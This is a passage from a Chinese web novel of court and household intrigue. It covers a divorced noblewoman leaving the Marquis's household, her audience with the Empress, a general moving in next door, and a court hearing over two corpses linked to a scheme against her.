“一个宝石而已,你看中了什么尽管拿去。”沈卿知见不得孟南枝一回来就变得如此自私。
孟南枝反问:“你这府内有值得我看中的东西?”
这府内的哪一物不是她一手建起来的,为了孩子没与他们撕破脸已经是给足了面子。
沈二叔对林婉柔吼道:“去取来。”
让你取就去取,还提什么女儿及笄。
这不是火上浇油吗!
林婉柔无奈,只得搅着帕子去取了一枚金钗过来,还欲试图说话。
孟南枝一把拽过来扣掉宝石握在手心,把那金钗扔在她脚边,不再看他们,只对刘嬷嬷说道:“搬东西,回府。”
转身时,目光扫过阶下,那里站着十数位年长丫鬟。当年沈府外强中干,没有钱财,这些都是她用自己的私产买下的。
为首的,便是这两次来都很会看她心意上茶的月芹,见她看来,慌忙低下头,手上的指指却紧张地泛了白。
“刘嬷嬷,把当年我买的丫鬟奴婢也全部带走。”孟南枝的声音很淡,却带着不容置疑。
“谢夫人。”月芹带头的十数丫鬟顿时松了口,面带喜泣地走到刘嬷嬷身边。
林婉柔扫了眼管家,管家只得上前一步,头也不敢抬地低声道:“夫人,这些丫鬟是在沈府当差的,按规矩是沈府的人。”
“规矩?”孟南枝抬眸,落在管家脸上,“我买的人,身契在我手里,跟你们沈府有何关系?”
她又看了看沈二叔,笑意不达眼底道:“沈二叔父,您说呢?”
第51章 皇后有请
沈卿知的面色异常难堪,孟南枝竟然直接越过他去问沈二叔。
她知不知道现在沈府是他在当家。
然沈二叔却是对孟南枝非常客气的说道:“南枝,这你的人都带走。”
说罢又踹了管家一脚,十成十的给足了她面子,“没眼色的东西。”
在他和侄子面前,竟然听一个平夫人的。
管家脸色一阵青白,却不敢报屈。
孟南枝转身,率先迈步出了沈府大门,刘嬷嬷指挥着仆役抬箱,十数个丫鬟紧随其后,脚步声在青石板路上踏得整齐。
观棋在后面也跟着跑出去,“夫人,等等我,还有我。”
镇北侯府的院内突然变得空旷,沈卿知望着孟南枝的背影,指尖无意识地摩挲袖口。
他和她真的走了这一步?
心口像是突然被什么堵住了,闷得有些发慌。
林婉柔指甲几乎要陷进掌心里,孟南枝带着了侯府的半个家产,竟然连丫鬟也带走了。
她垂下眼,掩去心中的荫翳和算计,温笑着上前去揽住沈卿知的胳膊,“侯爷。”
沈二叔却一脸不喜地将她打发开来,“我同侯爷与书房谈事,你去准备些吃食来。”
老东西。
林婉柔暗恨,却并未表现出来,面上依旧带着盈盈笑意。
沈二叔把沈卿知拉到书房,关上门便骂了起来:“我之前怎么和你说的,不能和南枝和离,你怎么一点都不听。”
看他面色难看,一句都不听他的,又道:“怎么?你还在怨我刚才当着那么多人的面打你?!我那是为了你,为了整个沈府!”
“你知不知道前日里,孟太傅竟然无召进宫,与圣上对弈半宿,出宫时,还穿着圣上的披风。那可是圣上的私服,整个大珩,有几个能有如此圣宠?”
“真的?”沈卿知的面色白了几分,却仍然不敢置信,“这怎么可能呢?他都十年不曾进宫了,圣上这些年也都不曾提及过他一次。”
沈二叔笃定道:“他曾是天子伴读,这份情是谁都抹不掉的。”
“左相也是天子伴读。”沈卿知指尖轻点桌案,眼底带着不以为然,他不相信自己的选择会错。
沈二叔转过身,目光沉沉地看着他道:“左相也是天子伴读没错,可你别忘了左相他并未做过皇子太傅。”
“那是因为他忙于朝政,辞绝了太傅一职。”沈卿知反驳:“而且孟正德他已经致仕,朝堂风云变幻,如今左相重权在握,十年了,圣上哪里还会对他有那么深的感情。”
“再浅的感情也是感情,你在官场上待了这十多年,难道还没弄明白,他只要一日是太傅,终身都是太傅。”沈二叔恨铁不成钢道,“说句大逆不道的话,以后不管哪个皇子继位,他都是太傅。”
沈卿知哼道:“那他也得活到皇子继位才行。”
“你!”沈二叔气得拍了拍桌子,指着他的鼻子骂道:“你若不听我的,再意气用事,咱们沈家尽早要败在你手里,还有那林氏,你最好长点心眼。”
“她父亲之前依着孟太傅走上高位,如今却甩开孟家又攀上左相,这般墙头形式,如何能靠得。你若像他一般,朝中官员如何看你。”
说罢沈二叔便气得拂袖而去,只是走到门口,他又道:“不过你还算聪明,没把修儿和珩儿放出去,若真等孟家再次得了势,靠着他们还有挽回的机会。”
林婉柔端了茶点进来时,沈二叔已经离去。
她看了眼神色不明的沈卿知劝慰道:“侯爷莫要与二叔生气,他所思所想都是为了沈府。”
沈卿知接过她递来的茶点,深想沈二叔所言无不道理,眸色中闪过一丝后怕,孟太傅真若重新起了势,那他与南枝和离岂不是……
思到这里,他看了眼林婉柔,“今日怎么未曾见到筝筝?”
林婉柔哪会不知他心中所想,当下便带了丝嗔意道:“侯爷您忘了,奕王一早便约了筝筝出府。”
对,奕王,今日奕王一早便来府上寻了筝筝。
想是对筝筝有意。
沈卿知那刚被沈二叔说乱了的心思稳下来,他手里的棋还是很多的,孟太傅再起势也不可能越过奕王去。
眼下只待奕王与筝筝更进一步,他说可说动沈二叔将筝筝的名字纳入沈家族谱。
只要筝筝攀了高枝,那他镇北侯府在这京都便不愁不稳。
从镇北侯府出来,孟南枝就遇到了宫里来的于嬷嬷。
“孟姑娘。”
即已和离,便不好再称侯夫人了。
于嬷嬷身着灰蓝色宫装,鬓边银发一丝不苟,对她福了福身,面上带着丝笑意道:“老奴给侯夫人请安,皇后娘娘得孟姑娘回了京,特让老奴请您去宫里陪她说会儿话。”
孟南枝微微欠身,温和有礼地回道:“有劳于嬷嬷跑一趟,得皇后娘娘惦记,是臣女的福分。”
嘱咐观棋和月芹带着东西先行回府,孟南枝便轻移莲步带着刘嬷嬷跟她进了入宫的马车。
京都就这么大,丁点的事都瞒不过宫里,而且她回来这么久确实也该进宫给皇后娘娘报个平安。
宫内的马车到底是比孟府的稳当,一夜几乎未眠的孟南枝差点晃睡。
待到快到行至宫门,她在于嬷嬷的轻咳声中才睁开下,不显尴尬地轻笑后,在刘嬷嬷的搀扶下跳下马车,坐上步撵。
路经太和殿,过了慈庆门便是到了坤宁宫。于嬷嬷让守门的小太监禀了皇后娘娘后,便领着孟南枝进了门。
皇后娘娘怕热,从入了夏开始屋里冰块便从未断过,再加上昨日下了雨,所以孟南枝一进屋,便被一股凉气冲了个满面。
默默吐出一口气,孟南枝对着身穿凤服坐着的皇后,跪拜道:“臣女南枝拜见皇后娘娘,给皇后娘娘请安。”
因想着今日出去,孟南枝便没穿得过于繁琐,只简单地套了件金丝白纹昙花锦裙,头戴羊脂色白玉小簪,偏偏就是这样素色的装扮映着她的小脸堪比双十少女的鲜嫩。
皇后谢清沅见此便忍不住想起她未嫁时的模样,掩去眸中的复杂情绪,笑着冲她招了招手,“南枝,来,坐到我身边来。”
第52章 没那心思
孟南枝未嫁时,因着父亲的缘故常来宫中,皇后待她以侄女相称很是亲切,只是后来出嫁后,由侄女变成臣妇,关系便稍微远了些。
想到巨幕中太子故后,皇后的日子过得艰难,孟南枝坐在她身旁一时有些唏嘘。
十年不见,皇后谢清沅的头发已经花白,握着她的手,指节间爬满了风月的纹路,透着掩不住的老态,“这些年,你父亲也为了寻你早早致了仕,头发都熬白了。满京都的人都以为你没了,倒没想到你是生了病。”
孟南枝垂眉屈膝,温顺中而又带满涩意地答道:“娘娘,臣女溺水之后便不记前事,所幸得将军寻到,才能回京寻了父亲。”
皇后虽未提及将军救她之事,但她身为臣女却不能知而不说。
终使那是假的,也得当成真的才行。
“我晓得,你父亲早年便委托他四处寻你,如今能寻得你,确是幸事。”
皇后谢清沅轻拍了拍她的手,示意她不用多说,“而且你对归舟有救命之恩,虽说论辈分他比你大,但你从小就比他年长,一直护着他。如今他长大了,反过来寻你护你,也是应当的。”
孟南枝想起十五岁那年她去接父亲回家,路上遇见不知因何溺水的谢归舟,她跳水将他救出。
好似自那之后,他每每见她便总是低垂着眼,和她说话也总是心不在焉的。
不知道的,还当是她欺辱了他。
只是此事由皇后提及,她却不敢居功,只轻声说道:“娘娘明鉴,当年不过是恰逢其会,举手之劳罢了,实在当不上‘救命之恩’四个字。将军自幼重情,如今长成这般有担当的模样,全赖娘娘平日里教诲有方,才让他这般明事理、重情义。”
皇后闻言,面上笑意更甚,“你这孩子,这么久未见倒是还如以前那般会说话。”
说到此处,她语言稍顿,目光再次落在孟南枝身上,“你父亲与圣上提及你和镇北侯和离之事,我与圣上终究是碍着那林氏是太后的懿旨,不好过多插手,让你受委屈了。”
此事父亲并未与她提及。
孟南枝闻言心头似被什么轻轻撞了一下,面色不显,只温顺地答道:“娘娘言重了。这本是臣女的家务事,怎敢劳动娘娘与圣上挂怀,实在折煞臣女了。”
皇后见她这般识大体,既不抱怨也不显露怨怼,眼底的满意又深了几分,语气也更亲切了些:“你如今既已和离,往后的日子总要有个打算,心里可有什么谱?”
孟南枝抬眸,眼中清明坦荡,缓缓回道:“臣女只想教导子女,并伴父亲左右,以尽孝道。”
皇后听了,微微颔首,目光掠过窗外的景色,想到十三年前,自己第一次知道弟弟心意,在孟南枝面前询问哪些适龄姑娘适合与弟弟婚配时,她一脸笑盈盈同自己一起参谋的模样。
突然慢悠悠道:“这般打算原也稳妥,只是你还年轻,往后日子还长,身边没个人照应,终究不是常法,京里有不少世家子弟……”
孟南枝连忙屈膝,语气坚定道:“娘娘体恤,臣女感恩。只是经此一事,臣女不敢再经婚姻一事,且臣女之前在普寿寺待过些时日,已习惯了清静。”
父亲让谢将军所言的普寿寺,确实好用。
皇后指尖扣桌案,半晌才道:“你既有想法,我也不能强求,便是按你想的来吧。若是遇到了难处,只管进宫来寻我。”
孟南枝闻言,心中涌起一股暖流,眼眶微红,俯身行礼:“多谢娘娘。”
皇后自始至终待她都很亲切。
皇后见状,轻轻摆了摆手,示意她起身:“你自小聪慧,行事有分寸,我自然是信你的。”
顿了顿,终是忍不住问道:“你与沈卿知……可是真的没那心思了?”
孟南枝起身,面上一片平静,如实答道:“臣女与沈卿知之间,再无可能。”
皇后闻言,心中五味杂陈,轻叹一声,道:“如此也好。你且退下吧,本宫也有些乏了。”
孟南枝恭敬行礼,缓缓退出大殿。
于嬷嬷轻轻给侧躺在檀木椅上的皇后按摩穴位,提及孟南枝进宫差点睡着的事,“娘娘可是放心了?”
皇后点点头,又轻摇了摇头。
于嬷嬷知她心里烦躁,便转移话题说道:“这镇北侯也是个糊涂的,宁可护着林氏也要和孟姑娘和离。”
皇后闭着眼冷嘲:“他能靠着孟家坐上了镇北侯的位置,能糊涂到哪里去,倒是那林婉柔,让人看走了眼。”
“娘娘说的是。”于嬷嬷附和道:“不过老奴瞧着孟姑娘还是花信之年的模样,这算计怕是比不上林氏。”
“以前看她比归舟年长,如今倒是看着比归舟年纪还要小了些。”皇后想着刚才提及弟弟孟南枝一如记忆中平静的模样,睁开眼,眸子里子掠过一丝郁色,“好在她对归舟依旧没那个心思。”
皇后谢清沅护指在发间摩挲,想到弟弟的身子,眉间郁色更深,“让太医院再想想办法。”
“是,老奴这就去办。”
于嬷嬷忙俯身应是,说罢便轻手轻脚地退了出去。
皇后眸光掠过孟南枝刚才所坐的位置,心中燥意更胜。
从弟弟到了适婚年龄却如何也不愿娶妻开始,她多方查探才发现他竟是心议孟南枝。
先不提两个的辈分和年龄,那孟南枝可是有家室之人,她哪能放心。
她曾在孟南枝面前试探,确定南枝对弟弟并无心思,但也刻意疏远了她。
却不想十年前,孟南枝溺水而亡。
她当弟弟不会再有心思,哪想他竟然助那镇北侯将大明湖给挖干,只为寻孟南枝的尸体。
没寻到后,又不听她劝阻投奔军营,第二年便以伤了根基为由,永不娶妻。
她怎会相信,又怎么可能会信!
但寻了名医和院首看诊,均确诊他确实伤了根基,恐难再有子嗣。
她当时只觉得天都要塌了。
谢家只留了她和弟弟,而她又比弟弟年长二十几岁,这些年来为了守住谢家,她付出了多少心血,怎么一句伤了根基就把她的所有付出打入地狱。
这让她如何对得起父母和谢家的列祖列宗。
第53章 搬到隔壁
这十年间,他又以收复北戎为由,一年半载的都不回次京。
这次她好不容易才劝他在京中多待些时日,想着再寻些名医把他病治好,万不能让谢家断在他这一代。
偏生孟南枝回来了,还要同沈卿知和离。
弟弟人就在京中,她哪敢放心。
所以孟太傅同圣上求和离书时,她才以林婉柔是太后懿旨做的平妻,若是下旨和离,岂不是打了太后的脸面,规劝圣上暂时收了下旨的心思,待太后回京再议。
原想她既阻止了圣上下圣旨,又透露了孟正德夜见圣上,披了圣上常服出宫一事,依镇北侯只为利己的脑子,便不会与孟南枝和离。
现在看来,她倒真是高看了镇北侯,也小看了林婉柔,更是小看了被他俩养得名声不怎么好的沈氏两兄弟。
竟然能亲自下场倒逼着父亲与母亲和离。
倒还真是千古一例。
而且这孟南枝一回来,沈氏两兄弟的名声明显开始逆转。
让她不服这孟家的血脉都不行。
出了坤宁宫,孟南枝便遇到了进宫给皇后请安的太子萧明渊。
萧明渊穿了一件暗黑色莽袍,比孟南枝要年长几岁,现已三十有几,与沈卿知一般留了短须,性格却很是诚善。
见到她,笑得一脸温和,“南枝。”
孟南枝同他福了一礼,“臣女见过太子。”
“你跟本宫还客气什么。”
萧明渊轻轻将她空扶起来,并不失礼地端详了下她面容,“本宫听人说你归来后容颜跟十年前一样,还觉得夸张,现在看来竟是真的。”
孟南枝客气道:“是他们夸张了。”
萧明渊并不是纠结此事之人,“如今你已回来,太傅便也能放下心结,安心于朝堂,父皇等他多时了。”
朝堂之事,不容她去置喙,所以孟南枝并未接话。
只是回想巨幕中的细节,萧明渊是一个非常合格的太子,却因一场意外失了性命,若非如此,长子沈砚修也不会与皇子结党,敢起兵造反。
不管是为了长子,还是为了大衍,在孟南枝看来,萧明渊都不能死。
死了便会大乱。
萧明渊不知她心中所想,又与她说了几句话后,便与她告了别。
孟南枝被刘嬷嬷扶着从步撵上下来整理衣襟走出宫门时,天色稍晴,太阳照透云层洒在宫檐上,落下一道道细长的影子。
在宫门的西侧边,孟府的马车正静静地侯着,车帘微动,父亲孟正德正掀帘望向她。
见她出来,忙从车上下,快步上前把她迎上车,不待她坐下,便关切问道:“娘娘没为难你吧。”
孟南枝摇头,将鬓间的一缕乱发别到耳后,语气平静道:“父亲放心,娘娘只是同我说了些家常,并无他话。”
父亲既然未曾与她提及向圣上求和离之事,她也不便多问。
免得伤了父亲的颜面。
“那就好,那就好。”
孟正德这才松了口气,眉间的郁色下了去。
那日他求圣旨,皇后所言虽然在理,但他总觉得过了点。
皇后一向是不爱管臣子之事的人。
孟南枝与父亲一同到家的时候,东邻隔壁空着的府邸竟然住了人。
原本破败的大门,新刷了朱漆敞开着,几个仆役正忙着卸箱笼,门前的石阶被打扫得一尘不染,只是门楣上的匾额被取了去。
她脚步一顿,问向父亲:“爹,隔壁这是……”
她记得那院子原是一位高官的府邸,因犯了贪污之罪,被官家查收,至今已经十数年未曾住人了。
孟正德顺着她的目光看去,脸上露出几分了然,回道:“是谢将军。”
谢归舟?
她记得谢府的院子在城东,离这里有一段距离,但比这里可排场多了。
眼下住到这里又是什么情况?
却听父亲接着说道:“将军府年久失修,因着这两天雨势过大有些漏雨,所以谢将军请示圣上翻修将军府,圣上便批了这个院子给他住。”
孟南枝点头,却并不能理解。
将军府那么大,一个屋子漏雨换一个屋住便是,何至于换府。
再说谢家如今就谢归舟这么一个子嗣住,隔壁这个房子怕是要比谢府的房子还要失修得多吧。
一次落水,与他们这些人整整跨越了十年,孟南枝完全无法理解他们的脑回路。
不过既然他搬了过来,那她去道谢也就不用再多跑了。
把前日里备好的谢礼拿出来,嘱咐刘嬷嬷又填了几份,孟南枝便带着月芹去了隔壁。
东邻隔壁,谢归舟正站在阁楼上望向孟府的宅院,直看到朝思暮想的人回来,眼睛亮得像是进了一道光。
阁楼下面院子内,两个脱下铠甲穿上灰衣的士兵,正在合力搬来长凳,一人站在凳子上修剪老槐树上的枯枝,一人在底下用布兜接着落下的碎叶。
屋内,壮硕的百万看着屋顶的几个大窟窿,对旁边的钱飞道:“这房子比将军府好?”
昨天将军不知道带着钱飞干什么去了,半夜回府后,看着将军府的房顶一夜没睡。
他就打了个盹的功夫,将军住的寝室屋顶便破了两个洞。
再等今早将军下朝回府,他马上就要修着那俩洞时,将军却通知他要修整将军府,搬到这里来住。
这十多年没住过人的破房子哪有将军府住着舒服。
一走两脚泥,一抹两手灰,抬头到处窟窿眼子,低头到处都是蟑螂儿子。
钱飞拿起长棍敲破顶处的蜘蛛网,寡言道:“将军觉得好。”
“那也多带几个人过来啊,指望咱这仨瓜俩枣的得打扫到什么时候?”百万拿着扫把扫了他两嘴灰。
“将军。”钱飞呛得咳了两声,“将军说人多了太吵。”
“就咱这几个人,打扫个屋子,能吵到哪处,再说咱是将军,搬个家,就算吵两下怎么了,谁能说个不是。”
百万有一百万个不理解。
钱飞扭头看了眼孟府的方向,“你不懂。”
“我不懂,你懂。”百万觉得跟这闷葫芦没得聊,把扫把一扔,准备去修屋顶。
他顺着梯子吭哧吭哧地爬到屋顶,刚准备去把那破碎的几处瓦片给取下来,却不想年久失修的瓦片早已撑不住重力,他一个屁股坐上去,瓦片便碎了一片,直挺挺地从屋顶掉了下去,“将军救我。”
第54章 请,镇北侯
谢归舟在看到孟南枝往他这边宅院走的时候,立马便回里间穿上了甲胄。
她没见过他穿甲胄的样子,定会惊叹他如今的改变。
只是穿上后,又突然想到昨日夜里见她时他便穿着,便又连忙脱下甲胄,换了件月白色常服。
沈卿知当初就喜欢穿月白色常服在她面前,还喜欢以讨教书籍引诱她。
对,看书。
谢归舟走了几步又猛地拐了回去,拿了一本书在阁楼上轻轻坐下,门窗打开,只留了个侧影。
孟南枝进来询问院内打扫卫生的仆役,抬头看到的便是一身白衣的谢归舟坐在窗口,拿书看的侧影。
不禁感叹,不亏是能做上大将军的人,看看多么勤学,如此简陋的环境下还在努力学习。
不知何时上楼站在谢归舟旁边的钱飞,边拿竹竿打散蜘蛛网,边轻声提醒道:“将军,反了。”
谢归舟反过来往旁边移了一下。
“将军,书反了。”
钱飞觉得没眼看,将军每次提到孟姑娘,就像没了脑子。
谢归舟冷冽的面色有些尴尬,把书合起往桌子上一撂,直接从阁楼上跃了下去。
姿势很帅,气场很大。
场面见多了的孟南枝浅笑颔首,声音清润如溪,“听闻将军搬来此处,特地前来拜访。”
谢归舟喉结滚动了下,想回话,视线却像是黏在了她身上移不开。
孟南枝只当他依旧是缄默的性子,继续道:“还要感谢昨日将军特地为我解围。”
谢归舟转过身掩盖眸中情绪,“进屋坐下说吧。”
哪想刚一进屋,百万那粗壮的身子便砸了下来。
一片尘土飞扬,荡了他们两身灰。
孟南枝低头看到四肢贴地的百万,又抬眼看了看露天的屋顶,眼里涌出笑意,“修缮此屋看来还需些日子,其他屋子也是这般模样吗?”
谢归舟刚欲开口,百万便从地上爬起来,捂着流血的额头抱怨道:“将军,你怎么不接我?”
谢归舟摇了摇头,声音清冷,“我没听见。”
他到现在,满脑子都是孟南枝刚才的笑。
百万道:“我都叫那么大声音了。”
他刚刚的声音明明大得都要把自己的耳朵震聋了。
他觉得将军不是没听见,而是眼里好像没他了。
孟南枝扭头对月芹道:“去请大夫过来为他看看,另外你安排几个利落点的丫鬟过来帮忙。”
月芹嘴角轻勾俯身应是。
百万闻言立马眼放星星,对着孟南枝行了个大礼,“多谢侯夫人。”
侯夫人真是大好人。
哪想刚说完背后便挨了一脚。
“称孟姑娘。”
百万瞥了眼对他一脸不耐烦的谢归舟,连忙改口道:“多谢孟姑娘,孟姑娘您真是天下第一大好人。”
哪像将军,根本就不管他从楼上摔下来有没有受伤。
可这明明就是侯夫人啊,他当年还被将军逼着参与在京都贴画像了呢。
贴了整整半年啊,手都累僵了。
将军也没有给他多发几个银钱。
“快去让大夫看看你头上的伤。”
谢归舟第一次觉得他这么碍眼。
“好嘞。”
粗壮而坚强的百万,一手捂额头一手捂屁股地跑了出去,将军也是好人,还记得他受了伤。
他一走,这屋子瞬间便空旷了好多,孟南枝看着谢归舟一时有些尴尬。
她与他说熟也不算特熟,说不熟吧,就跟皇后所说,自己还救过他。
偏偏两人以前就没怎么说过话。
自己溺个水的功夫,他就从缄默的少年,变成了人人敬畏的大将军,更没话聊了。
想到刘嬷嬷说的话,孟南枝视线从脚跟往上移到腰迹,停顿了几秒,再到他结实的胸膛和俊朗的脸上,目光中便不自觉地多了丝自己同样没能察觉的怜悯。
家世好,有能力。
身材好,还长这么好看。
就是可惜了。
谢归舟被她的目光看得满身燥意,又岂会没有注意到她的变化,他握紧手中拳头,缄去眸中情绪,语气平静问道:“和离后有什么打算?”
孟南枝瞥了他一眼,这姐弟俩倒是都挺关心她,便如回皇后一般回道:“教导子女,陪父养老。”
倒是她的脾性。
谢归舟点头,没再说话。
孟南枝扫了圈院内的景色,才发现这里和孟府格局竟然差不多,而且也有一个阁楼和自己所住正对相望。
正好奇地准备上去仔细看看,便见一小兵气喘吁吁地跑了过来,“将军,找到麻子了。”
谢归舟眉头微挑,转身向外走,“在何处?”
小兵紧跟着出去,“城郊外的乱葬岗,寻到的时候已被野狗啃噬得面目全非,通过身体特征确认是麻子。”
死了?
孟南枝心惊,忙不迭地跟在他们后面。
谢归舟:“尸体现在何处?”
小兵:“已经送到府衙,交由仵作查验了。”
谢归舟翻身上马,才注意到跟在他后面的孟南枝。
他还有些没有习惯她已经回来。
压下心中情绪,他立马又翻身下马走到她面前,温和的语气中带着安抚,“我去看看,你等我消息。”
“我跟你去。”
孟南枝想看看,这恶奴麻子到底是不是那晚与“铁柱”汇合的人。
她的眸子清澈,映着自己的影子,带着谢归舟完全无法拒绝的坚定,“那你跟在我后面。”
“好。”
孟南枝牵了院内搁置的马,轻轻一跃,翻身上去,跟在他后面。
两人一前一后,越过街市,到了府衙。
仵作已经验完尸,“将军,死亡时间应是今日丑时。”
丑时,距离他们昨日提及麻子才不过几个时辰。
死得太快了。
府衙闵大人连忙上前作辑赔罪,“将军,是下官办事不利。”
谢归舟没接他的话,语气冷淡,“说清楚。”
闵大人抬袖擦了擦额间沁出的冷汗,“经多方查,恶奴麻子在充军的第一天就逃跑了,看守的小吏为了不被追责,并未上报。”
说罢,他又自圆其说道:“将军,下官真不知道会发生此事,已经按律将看守的小吏抓了起来。”
小吏不是重点。
谢归舟眸色翻滚,指尖轻叩桌案,“请,镇北侯。”
第55章 枝枝姐难道是不信任我
府衙公堂,谢归舟一身月白锦袍,端坐高堂,自带威仪。
案上的卷宗摊开,分别印着麻子和“铁柱”的画像。
沈卿知被请到府衙的时候,身后跟了一串子“亲戚”。
平妻林婉柔,尚未进族谱的继女陆筝筝,还有陆筝筝的高枝奕王萧临渊。
奕王萧临渊送陆筝筝回府,恰好碰到去府上请镇北侯到府衙的捕头,听说屠戎将军谢归舟亲自坐堂。
为表敬意,自然是要陪同过来瞧一瞧。
见到堂上的谢归舟,萧临渊轻轻行了一礼,“国舅。”
再一转头看到旁边的孟南枝,萧临渊眸子里闪过讶然,温笑道:“枝枝姐。”
自己前日明明阻止了两人更进一步,怎么两人还能如此相熟?
孟南枝压下心中不解,浅笑道:“奕王。”
“枝枝姐还是这么客气,遇到困难怎么不向我求助,难道是不信任我?”
萧临渊在她旁边坐下,轻摇玉扇。
荷风宴一般都是京都侯门世家笼络情谊的宴会,为了让臣子们自在,他们这些皇子是不参加的。
所以他也是今晨才听说她与镇北侯和了离,场面还闹得相当不愉快。
孟南枝依旧笑得疏离,“多谢奕王挂念,这点小事我还能解决。”
谢归舟轻轻扫了萧临渊一眼,指了指自己身边的位置,“临渊,坐到这边来。”
萧临渊轻转左手板指,并不知谢归舟今日所为何案,但面上却依旧带着笑意,按他所说坐到了他的侧手位。
谢归舟手握兵权,是谁都想拉拢的对象,但却不包括他。
他母妃并非皇后,而是贵妃,与皇后一向不对付,谢归舟是皇后的亲弟,所以两人注定了不可能站到同一条线上。
闵大人交代青衣小吏为堂上的每人都落了坐。
沈卿知见萧临渊对孟南枝依旧客气,心里有些打鼓,转移情绪问道:“不知将军寻本侯来所谓何事?”
谢归舟眸色平静,语气清洌,“再等一等,人还未齐。”
又过了半柱香,平阳公夫人,曹宛清,明程氏,头上绑了绷带的吏部尚书马夫人等等,
但凡是荷风宴沾了点名气的侯门夫人都被请了来。
府衙的公堂已经坐不下,名气低些的便只能排排站着。
这些人到了公堂,见谢归舟坐正位,奕王坐侧位,大气都不敢出一下。
确定人已到齐,谢归舟声音不高,却清晰地落入每个人的耳中。
“本将今日请各位来,想让各位作证认一认人。”
语罢,两名青衣小吏搬了两具尸体上来,揿开第一道白布。
马夫人因离得最近,立马作呕起来。
其他夫人也都忙不迭用手帕掩了鼻息。
谢归舟扫了眼众人神色,“镇北侯可识此人?”
林婉柔拿帕子掩了鼻息,柔声道:“这是谁,也太惨了。”
沈卿知嫌弃地避开眼,“将军,此人面目全非,本侯并不识得。”
“侯爷请再好好地看一看,此人是你府上的奴才——麻子。”
谢归舟冷清的面上看不出表情。
沈卿知再看了眼面目全非的尸体,否决道:“这怎么可能?麻子已经充军了,这事闵大人知道的。”
他抬头看向府尹闵大人,却见他低垂着头根本就不看他。
但他并不认为自己有错,便又道:“即便此人是麻子,他死了与本侯又有何关系?”
谢归舟示意青衣小吏掀开另一具尸体的白布,“这人你可认识?”
沈卿知看着地上的“铁柱”,又看看孟南枝,“这人说他是南枝的‘夫君’。”
最后两个字完全是咬着牙说出来的。
他到现在还记得这人死前还在喊孟南枝“娘子”的画面。
他不信此人与孟南枝没有一点干系。
谢归舟对府尹闵大人微微颔首,递去一个隐晦的眼神。
闵大人心领神会,立刻沉声道:“传证人上堂。”
话音刚落,堂外便传来一阵细碎的脚步声,只见一个穿着褐色绸缎褂子的中年掌柜,身后跟着一个缩着脖子的小厮,两人面色苍白,战战兢兢地走上厅堂。
到了堂中,两人腿下一软“噗通”便跪了下去,额头贴在冰凉的青砖上。
“草民拜见将军,拜见大人。”
闵大人让青衣小吏将“铁柱”和麻子的画像,分别放在对应的尸体上面,轻拍惊堂木,“你们可见过此二人。”
中年掌柜头也不敢抬地惶恐说道:“见过,见过,大概三日前,就是下大雨那天,这两人一起住了草民的店。”
闵大人语气威严,“确定吗?”
掌柜的道:“确定,确定,草民亲自接的客。”
小厮补充道:“当时这个长得壮的穿着蓑衣,满身皮革味,一看就是北方来的,所以草民印象特别深。”
“还有这个脸上长麻子的瘦个,当时用一块黑布裹得特别严实,连脸都盖了起来,要不是他们让我给他们上热茶的时候,刚好看了一眼,也不能记得这么清。”
闵大人再问:“这两人住的一间房?”
掌柜的道:“是,两人就开了一间房,开了三日,但只住了两日,就再也没见过他们了。”
闵大人点头,“退下吧。”
掌柜和小厮不明所以,根本不敢抬头看看周围都有哪些人,连连磕头拜谢,脚下发软,磕磕绊绊地互相搀扶着走了出去。
只要不判他们的错就好。
谢归舟唇角轻勾,带着冷嘲看向沈卿知,“侯爷可有话说?”
两人认识,一个说是孟南枝的夫君,一个是侯府中的奴仆。
现在傻子都知道这其中藏了多少腌臜事儿。
哪怕明知道现在是在公堂之上,众夫人也开始忍不住低声私语。
“这明显就看不惯镇北侯夫人回来,故意出的计。”
“不想镇北侯夫人回来的就那么一个,除了镇北侯的平妻林氏,还能有谁?”
“对啊,我还当她是真的温顺,原来是这么个包藏祸心的。”
“还有这恶奴麻子不就是前几日被判诬陷沈世子喜杀通房的那么吗?”
“是呀,因为这个平阳公府的三公子,还有马夫人的宝贝儿子不还被关了几日?”
“那这跟马夫人有没有关系?当日马夫人叫嚣得那么厉害。”
“谁知道呢?说不定是那林氏和马夫人联手的呢。”
“对呀,我就说,有几个继母能做到待继子慈爱有加呢?原来都是作秀呢。”
“可不是么,咱以后啊,可得好好擦亮眼,莫要被人表面给骗了。”
第56章 这事难道不是你做的
沈卿知手指陷入掌心,盯着眼前的林婉柔,眼底翻涌着波涛怒意。
对啊,除了她还能有谁,还会有谁不希望南枝回来。
林婉柔“扑通”一声跪倒在地,紧紧拽住沈卿知的衣袍,脸上挂着晶莹的泪珠,哀声哭诉:“侯爷,真的不是妾身,妾身确实什么也没做过。”
陆筝筝先轻轻瞄了眼坐在高堂上的萧临渊,也跟着跪了下来,哭得像只受惊得猫儿,“侯爷,母亲心地善良,这么多年来您是知道的,母亲她走路看见蚂蚁都要绕过去。”
“她日日盼夜夜盼着南姨回来,这您是知道的啊,而且这恶奴,他是世子哥哥的奴仆,从来不听母亲话的呀。”
说罢,她又冲高堂上的谢归舟道:“将军,您为人最是清正,望将军能查明真相,还我母亲清白。”
沈卿知在她的劝说中稳定心神,“将军,只凭二人相识,并不能证实是婉柔陷害的南枝。”
谢归舟轻哼一声,满是嘲讽,“麻子是侯爷的人,不是林氏陷害的,那便是侯爷陷害的了?”
“本侯从未做过此事。”
沈卿知被堵得哑口无言,孟南枝是他的妻子,他诬陷她对自己有什么好处,而且他又怎会做出此事!
林婉柔拿着袖帕轻擦眼泪,柔柔弱弱地指控,“将军怎么可以单凭二人相识就说是我与侯爷害的南枝?”
“当日南枝到了侯府,二话不说绑了麻子就往府衙送,怎能不算是她自己招惹了这恶奴呢?”
孟南枝轻阖眼帘,怪不得巨幕里林婉柔能走到最后,赢得好名,她脑子可真是好使。
再睁眼,孟南枝眸中已满是平静,“若沈卿知未曾参与此事,我倒想问问,镇北侯沈卿知你为何逼着闵大人将麻子提前充军。”
“这……”
沈卿知想起那日吏部尚书对他再三施压,他逼不得已才寻了闵大人,目光突然移向马夫人。
马夫人察觉到他的视线,为了不被连累,忙跳了出来,“将军,这可跟我们黄府没有丝毫关系,臣妇可是冤枉的啊,这是镇北侯的家事,我们真不清楚这里面的门门道道。”
吏部尚书不能得罪。
陷害罪不能认。
他刚通过林父与左相牵上线,得了重任,眼下更不能把罪推到婉柔身上。
沈卿知移开视线,对孟南枝道:“那还不是因为你做得过分,非要逼着修儿告别人,这才自讨苦吃害了自己。”
众夫人皆没听懂:???
自家孩子受委屈不告别人,让别人赔罪,难道要一直忍着?
做忍者神龟吗?
怎么感觉好像是第一天认识镇北侯的样子。
孟南枝气得站了起来。
萧临渊眯了眯眼。
